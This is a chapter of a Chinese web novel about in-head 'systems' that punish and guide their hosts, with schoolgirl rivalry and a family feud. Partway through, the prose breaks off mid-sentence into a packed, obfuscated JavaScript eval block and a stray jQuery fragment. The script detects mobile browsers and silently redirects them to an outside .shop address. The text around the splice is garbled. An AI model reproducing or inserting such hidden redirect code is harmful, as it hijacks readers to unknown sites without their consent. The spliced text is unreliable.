炫目多彩的烟花，传到老城区，早已变成沉默的余烬。
徐腾达拖着伤痕累累的躯体回家，走一步顿一步，顿住的那几秒，甚至会抽搐两下，惹得路人们纷纷加快脚步或绕道而行。
好不容易走到家门口，却发现屋内漆黑一片。
他眉毛拢成一团，也没管屋内究竟是什么情况，攥着拳头重重砸门。
砸到拳面通红，路上来人纷纷侧目，屋内却没有一点动静，他才停下。
整个人又累又饿，浑身酸痛，脑中的系统还转了性般，不仅把他账户里的钱财全拿去还钱了，还一刻不停地嘲讽着他。
“哟哟哟，是个进不去家门的废物~”
“我要是你爸妈，早就把你淹死了，无能狂怒的巨婴！”
“嘿嘿，你该不会又要骂人了吧，高中就被开除的蠢货。”
怒气上脑，徐腾达实在又是忍无可忍，一拳砸向防盗门，两条腿却颤颤巍巍的。
他在脑中大吼：“你个臭傻X给我闭嘴！！！”
刚喊完他就后悔了，整个人脱力般贴着门面滑下去，抱着双腿瑟缩着。
脑中先是传来“嘻嘻”一笑，然后传来冰冷的提示音：
“宿主徐腾达，口出污言，屡罚不改，施以严惩电鞭五十下，嗯……若如实交代前往北京的行程，可减至二十下。
宿主有一分钟时间作答，现在开始倒数……”
徐腾达那双和眉毛一样宽的眯眼难得流露出看得清的绝望，他像是说了很多遍般，声音萎靡。
“老z…我再说最后一遍，我记性不好，去A市干了什么真一点不记得，求你放过我吧。”
倒数骤然停止，没有任何预警，电鞭利落地落在了徐腾达身上，在虚空中响起的簌簌的破风声。
081为了让徐腾达更有体验感，还专门让他看见电鞭抽来的全程轨迹，看着徐腾达前期抱头鼠窜的模样哈哈大笑。
怕他乱叫，081给他上了禁言，使得徐腾达一声也喊不出，就连心里也不敢骂。
在抽到第三十下时，徐腾达好像真的心死认命般，不跑也不动，像未瞑目的尸体，双眼失焦，躺在地上。
每抽一鞭，便如被扒皮了的青蛙，震颤一下。
直到抽完第五十下，他仍躺在地上，身上没有一点伤痕，曾被鞭笞的每一处地方，却都返起深入骨髓的疼痛。
他躺在自家门前，双眼借着街道上传来的路灯光一点点重新聚焦，这才注意到插在门锁上的一把钥匙。
惯性想骂，却如肌肉记忆般及时刹车。
挣扎半天进了家门，他拖着鞋子，任由鞋子拖沓发出巨大的噪音，走回自己的房间，往床上一倒，却重重砸在了木床板上。
这一砸，砸得他眼冒金星，眼睛一闭，像是昏睡过去，再没其他动静了。
*
昨晚祁心睡得不算晚，却还是日上三竿才起身。
她往常觉少，睡够五六个小时便会自然醒，颠来倒去再也睡不着，今日却难得能睡到快晌午。
眼睛刚睁开，大脑却仍旧一片混沌时，002的嗓音便在脑中响起，向来不急不慢的他，这次难得带了些焦躁。
“昨天081汇报徐腾达在得到系统前去了A市，几次质问下，徐腾达都没说出前往A市的所作所为，我强行对他的记忆进行搜索，却在那段记忆上，感应倒了世界意识的气息。
而今早，于娇娇突然从A市回来了……”
原先还在床上睡眼惺忪伸着懒腰的祁心，现在倒是彻底清醒了。
她猛地坐起，打断002的话，“你的意思是，直到于娇娇回来，才能感应到她去A市的行程……而她现在大概率已经有了学霸系统，对吗？”
002语句有些阻滞感：“是的，根据目前能查到的信息，她于昨天中午飞往A市，今天飞回，飞机刚落地。”
祁心一头黑发柔顺地自双耳边泻下，罩住那张冷白的脸，倒衬出些许鬼气。
纯黑通透的眼珠滚着诡异的光。
“A市？有意思。”
在家中用过午膳，祁心才姗姗去到学校，踩着下课铃走进校门，刚出电梯，还未靠近教室，便听见了于娇娇姐妹团的嬉笑声。
祁心没有细听，无非是那些吹捧狗腿的言语，她脚步轻巧，贴着地面绕到于娇娇一圈人身后，没发出一点声音。
“002，标记。”
“已成功标记学霸系统129，它目前仍在沉睡。”
沉睡？
依她在系统界打工的四百年来，每每接到任务，须臾之间便降落于宿主身上，开始引导宿主完成任务，从未出现过系统于宿主体内沉睡的情况。
照这么看，或是那远在A市的未知能量体出了岔子，将系统引进来，却支撑不住它的运行，元气大伤。
祁心轻眨了下眼睛，朝于娇娇身上扔了个真言果，便静悄悄地站在她身后。
于娇娇坐在位置上，仍由自己刚领回来的鳄鱼皮包包供大家观赏，看上去毫不在意，却时不时用眼细细地觑。
见着其中一个女生想伸出手轻碰一下包包的把手，面色瞬间阴沉，出身呵斥道；“你个全身上下一堆便宜货的穷鬼，给我收手！”
一双杏眼怒目圆瞪，语气格外轻蔑。
那女生一张脸瞬间便烧起来了，颤颤巍巍地收回手，讪讪一笑，从里层朝外挪了挪。
于娇娇虽说说话刻薄瞧不起人，讽刺那些穷鬼更是尖酸至极，却嫌少在姐妹团里这般讽刺人，说翻脸就翻脸。
围着的一圈人听见此话都神色微怔，连忙低头看着自己身上的衣着，又用目光追着那名被出口嘲讽女生的衣着，较贵的朝前站，差不多的朝外挪了挪。
她们这一群人，说是姐妹团，却更像是于娇娇的附庸，家中与于家的房地产企业或多或少都有生意往来。
为了从于家要点好处，家中都花了大手段才把她们送到这个学校。
学习是不重要的，品德是不重要的，能成功巴到于娇娇，才是最为重要的事情。
场面出现了诡异的寂静，眼见于娇娇面色愈发阴沉，站的离她最近的一身材圆润的女生踌躇着开了口。
“娇娇，你去A市肯定是有重要的事，姐妹们也想听一耳朵长长见识。”
于娇娇把玩着手上挂着的一串碧绿的玉珠子，拄着脑袋，斜觑了身旁女子一眼。
“我去A市自然是……”她话题刚打开，却莫名顿住，眼神陷入短暂的迷茫。
原先好好的语气瞬间高亢起来，“……我去干什么还要同你汇报吗？你个猪婆，别挨我那么近，身上一股味，骚臭得很。”
那女生向来同于娇娇关系最好，于娇娇说一她绝不说二，指哪打哪，于一众姐妹中也算是二把手，家里也没凭借她同于娇娇的关系获利。
这句话一出，她自持的那份熟稔被摔得粉碎，一张脸由青转红又专青，眼见众人都看向自己，她深吸了几口气，咬牙接过于娇娇的话。
“娇娇姐你别生气，我离远些便是。”
这一下倒是真没人敢开口了，肉眼可见于娇娇面上尽显戾气，心情不好，谁撞枪口上都讨不得好。
不知从何处传来一声询问，倒让着死一般的氛围短暂地波动了几分。
“于娇娇，你还记得李常德吗？”
“当然记得，他可是我身边最忠诚的狗，就是有点废物……”
她说到一半，突然怔住，四处张望，找寻着询问声音的来源，却只看到了周围人脸上的慌乱，以及同她一样的张望神情。
在她屏着个脸，神情愈发急躁时，那个声音突然出现——
“我在后面，于娇娇。”
透过于娇娇转动的发丝间隙，可以看到一个黑衣黑裤的女子，一头散漫黑发随意搭载肩上，笑意很浅，眼神轻蔑。
“叮铃铃铃——”
上课铃响了，于娇娇仍保持着看向祁心的姿势，仿佛受了很大的惊吓般，眼珠瞪圆，嘴唇翕动，却一句话也说不出来。
一圈人的目
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196458|150282||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
光就这么追着祁心的身影，随她转头，看着她一步步走回座位。
见老师进来，又如猢狲般四处散开，只留于娇娇一人坐在原位上，那只鳄鱼皮包包也还孤零零地放在桌面。
这节课还是祁心觉得最催眠的英语课，虽说是外教来上课，她却仍控制不住地昏昏欲睡。
B市的气温愈发闷热，教室里开了空调，没再开窗，祁心也吹不到自己心心念念的风，便萎靡地趴在课桌上，手指一打一打地瞧着桌面。
自那日从黄秀芬口中听见“李常德”这个名字，她心里便有成算了。
但那时事情也不着急，往后放放也无妨，也将此抛掷脑后了。
当年祁家企业几乎是在一夜间分崩离析，她虽然怀疑过其他企业的影响，却迟迟找不到线索，如今，倒是坚定了她的想法。
而所有企业中，出力最大的，必是于家。
祁心将头换了个方向继续趴着，察觉到了老师的目光，又默默地转了回去。
李常德，小说里于娇娇的青梅竹马，经营着B市最顶尖的画廊，家中还是和腾达企业并肩的B市生产转外销的龙头企业。
他性子乖戾，谁的话都不听，却只听于娇娇的，从小到大就像她的一条恶犬，指哪打哪。
但很可惜，竹马还是没能敌过天降，被靠着炮灰逆袭系统白手起家的草根南三徐腾达抢占了先机。
那时在降临这个世界前，祁心看着那本小说的大致内容，便忍不住冲002吐槽——
“这个小说逻辑真的很错漏百出，一个从小生活在顶级精英教育下的男配，居然会比不过那个跟踪偷拍人的猥琐初中学历男。”
祁心重新将头摆正，下巴笃笃地磕在桌面上，磕出一道道轻微的声响。
现在再想，还是很奇怪，她在B市生活了这些年，也社交了大大小小的圈子，却从没听过他的一点消息，这人也像是凭空出现的一样。
就好像，她和于娇娇同为站在地上的人，而李常德，是于娇娇的影子。
如今细想小说里他的身份，方方面面都是从自家产业里生扒硬拽下来的。
祁心的眼中带有几分戾气，神色不虞，光是想到那间自余画廊被这样的烂人接手，便气血上头。
“002，帮我调查他的全部信息。”
系统的权限虽说看起来无所不能，却仍然会被世界规则束缚着，超出任务之外、超出宿主关系网之外、超出宿主认知的，皆无法通过该世界的信息系统进行搜寻。
就好像，祁心可以让系统查自己今天随意在路上见到的一个人，却无法查到他手中所拿礼物要送给的人。
台上的老师还在用英语叽里呱啦地讲着课，激情澎湃，泪涕泗流。
祁心将脑袋朝外挪了几分，听了一耳朵，便又收回脑袋，像小猫一样将自己的脑袋埋在两只胳膊拢起来的空间里。
眼皮一下一下地撞着彼此，就在又快要睡着时，口袋里的手机震了两下。
她迷迷糊糊摸出手机一看，是黄秀芳给她和齐一拉得三人小群里发了消息。
【老大！！我总算拍到那人照片了！】
【糟糕，被发现了！！！】
【没事，正脸照来了噜！】
好几张照片连拍传来，祁心点开大图觑了一眼。
图里的男人小心翼翼地搀扶着一个瘦得如纸一样薄的女人，而女人高高隆起的肚子，像是一个夺命的肿瘤。
最先的几张都是背影，直到有一张图片里，男人震惊地转头，看向黄秀芬的镜头后，下面的所有照片便都是正脸照了——
准确来说，是黄秀芳的第一人称逃窜照。
她的一张脸被拍得清清楚楚，身后穷追不舍的男人，倒只有一小团，最后还缩成一个小点。
看着图里黄秀芳那五官乱飞惊慌的表情，祁心握拳虚抵嘴角，难得轻笑了几声。
重翻回那张回头照，祁心的笑意便更重了。
那男人与于娇娇简直是从一个模子里刻出来的。